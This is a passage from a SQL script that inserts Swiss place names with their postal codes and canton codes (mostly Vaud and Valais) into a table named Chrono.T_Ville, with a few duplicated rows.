VALUES ("CHE","Le Sentier",1347,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Solliat",1347,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Brassus",1348,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Charbonnières",1343,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Lieu",1345,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Séchey",1345,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blonay",1807,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Mont-Pèlerin",1801,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chardonne",1803,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corseaux",1802,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corsier-sur-Vevey",1804,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Monts-de-Corsier",1808,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fenil-sur-Corsier",1809,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jongny",1805,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Clarens",1815,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chailly-Montreux",1816,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brent",1817,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montreux",1820,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Territet",1820,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chernex",1822,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glion",1823,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Caux",1824,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chamby",1832,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villard-sur-Chamby",1832,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Avants",1833,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Légier-La Chiésaz",1806,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tour-de-Peilz",1814,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vevey",1800,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Veytaux",1820,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belmont-sur-Yverdon",1432,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bioley-Magnoux",1407,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chamblon",1436,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champvent",1443,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Essert-sous-Champvent",1443,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sous-Champvent",1443,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chavannes-le-Chêne",1464,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chêne-Pâquier",1464,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cheseaux-Noréaz",1400,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cronay",1406,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cuarny",1404,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Démoret",1415,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Donneloye",1407,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gossens",1407,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mézery-près-Donneloye",1407,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prahins",1408,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ependes VD",1434,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mathod",1438,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Molondin",1415,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagny-près-Yverdon",1442,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oppens",1047,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orges",1430,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orzens",1413,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pomy",1405,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rovray",1463,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Suchy",1433,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Suscévaz",1437,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Treycovagnes",1436,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ursins",1412,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valeyres-sous-Montagny",1441,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valeyres-sous-Ursins",1412,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-Epeney",1404,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vugelles-La Mothe",1431,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Yverdon-les-Bains",1400,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gressy",1432,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Yvonand",1462,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brig",3900,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gamsen",3900,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brigerbad",3900,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Glis",3902,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eggerberg",3939,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mund",3903,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Birgisch",3903,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Naters",3904,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","<NAME>",3914,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Belalp",3914,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rothwald",3901,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ried-Brig",3911,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Simplon Dorf",3907,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gabi (Simplon)",3907,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Termen",3912,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rosswald",3913,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gondo",3907,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ardon",1957,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mayens-de-Chamoson",1911,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chamoson",1955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Vérines (Chamoson)",1955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Némiaz (Chamoson)",1955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grugnay (Chamoson)",1955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Pierre-de-Clages",1955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Conthey",1964,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Séverin",1975,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erde",1976,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aven",1976,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Daillon",1976,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Clèbes (Nendaz)",1993,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aproz (Nendaz)",1994,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Basse-Nendaz",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fey (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bieudron (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Condémines (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saclentse",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baar (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beuson (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brignon (Nendaz)",1996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haute-Nendaz",1997,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siviez (Nendaz)",1997,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sornard (Nendaz)",1997,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vétroz",1963,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Châble VS",1934,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bruson",1934,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Verbier",1936,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Versegères",1947,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champsec",1947,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lourtier",1948,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fionnay",1948,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sarreyer",1948,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bourg-St-Pierre",1946,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liddes",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontaine Dessus (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontaine Dessous (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dranse (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chandonne (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rive Haute (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fornex (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Moulins VS (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vichères (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Palasuit (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chez Petit (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Petit Vichères (Liddes)",1945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orsières",1937,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champex-Lac",1938,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Praz-de-Fort",1943,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Fouly VS",1944,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sembrancher",1933,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chamoille (Sembrancher)",1933,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Garde (Sembrancher)",1933,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chemin",1927,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vens (Sembrancher)",1933,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vollèges",1941,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cries (Vollèges)",1941,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Levron",1942,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fiesch",3984,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellwald",3997,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Binn",3996,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ernen",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ausserbinn",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlebach (Goms)",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlebach (Goms)",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinhaus",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinhaus",3995,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fiesch",3984,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jungfraujoch",3801,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fieschertal",3984,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lax",3994,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ulrichen",3988,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obergesteln",3988,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberwald",3999,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Münster VS",3985,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Geschinen",3985,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biel VS",3989,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ritzingen",3989,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Selkingen",3989,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederwald",3989,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blitzingen",3989,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reckingen VS",3998,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gluringen",3998,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fortunau (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Luc (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Romain (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saxonne (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villa (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Place (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Botyre (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blignou (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Argnou (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Signèse (Ayent)",1966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Anzère",1972,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Evolène",1983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lanna",1983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Haudères",1984,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tour VS",1984,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Sage",1985,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Forclaz VS",1985,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villa (Evolène)",1985,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arolla",1986,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Euseigne",1982,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hérémence",1987,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Martin VS",1969,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liez (St-Martin)",1969,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trogne (St-Martin)",1969,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Suen (St-Martin)",1969,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eison (St-Martin)",1969,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vex",1981,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thyon",1988,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Collons",1988,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vernamiège",1961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mase",1968,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nax",1973,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agarn",3951,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Albinen",3955,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ergisch",3947,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Inden",3953,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Susten",3952,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leuk Stadt",3953,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Erschmatt",3957,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leukerbad",3954,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberems",3948,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salgesch",3970,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Varen",3953,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guttet-Feschel",3956,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gampel",3945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niedergampel",3945,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bratsch",3957,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Turtmann",3946,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gruben",3946,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterems",3948,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bovernier",1932,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Valettes (Bovernier)",1932,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Charrat",1906,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fully",1926,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Isérables",1914,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ovronnaz",1911,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leytron",1912,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Produit (Leytron)",1912,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagnon (Leytron)",1912,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dugny (Leytron)",1912,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Martigny",1920,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Martigny-Croix",1921,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ravoire",1928,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riddes",1908,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auddes-sur-Riddes",1914,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Tzoumaz",1918,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saillon",1913,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saillon",1913,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Saxon",1907,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trient",1929,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champéry",1874,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Collombey",1868,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muraz (Collombey)",1893,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Illarsaz",1893,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monthey",1870,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monthey",1870,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Choëx",1871,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Giettes",1871,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bouveret",1897,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Evouettes",1897,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Gingolph",1898,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Troistorrents",1872,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morgins",1875,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Val-d'Illiez",1873,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champoussin",1873,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Crosets",1873,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vionnaz",1895,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Torgon",1899,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vouvry",1896,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Miex",1896,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bister",3983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bitsch",3982,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grengiols",3993,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goppisberg",3983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Greich",3983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ried-Mörel",3986,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riederalp",3987,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ausserberg",3938,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Blatten (Lötschen)",3919,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bürchen",3935,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eischoll",3943,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ferden",3916,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goppenstein",3917,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kippel",3917,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niedergesteln",3942,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Raron",3942,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. German",3942,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterbäch VS",3944,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wiler (Lötschen)",3918,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mörel",3983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Filet",3983,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steg VS",3940,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hohtenn",3949,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Betten",3991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bettmeralp",3992,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Martisberg",3994,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Collonges",1903,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dorénaz",1905,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Evionnaz",1902,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Finhaut",1925,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Châtelard VS",1925,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Massongex",1869,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Maurice",1890,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mex VS",1890,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salvan",1922,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Granges (Salvan)",1922,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Marécottes",1923,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Trétien",1923,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vernayaz",1904,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vérossaz",1891,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chalais",3966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Réchy",3966,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vercorin",3967,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chippis",3965,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grône",3979,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Icogne",1977,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lens",1978,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flanthey",3978,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Miège",3972,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Léonard",1958,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sierre",3960,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muraz (Sierre)",3960,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Noës",3976,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Granges VS",3977,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Venthône",3973,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Veyras",3968,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niouc",3960,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vissoie",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Luc",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chandolin",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ayer",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zinal",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grimentz",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mission",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Jean VS",3961,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corin-de-la-Crête",3960,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Loc",3960,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crans-Montana",3963,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montana",3963,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aminona",3963,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chermignon",3971,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chermignon-d'en-Bas",3971,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ollon VS",3971,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mollens VS",3974,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Randogne",3975,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champzabé",3976,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arbaz",1974,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grimisuat",1971,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Champlan (Grimisuat)",1971,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Savièse",1965,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sion",1950,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uvrier",1958,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pont-de-la-Morge (Sion)",1962,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bramois",1967,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salins",1991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arvillard (Salins)",1991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pravidondaz (Salins)",1991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Turin (Salins)",1991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Misériez (Salins)",1991,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Agettes",1992,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Mayens-de-Sion",1992,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Vernaz (Les Agettes)",1992,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crête-à-l'Oeil (Les Agettes)",1992,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Veysonnaz",1993,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baltschieder",3937,"VS"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Baltschieder",3937,"VS"); INSERT INTO Chrono.T_Ville VALUES 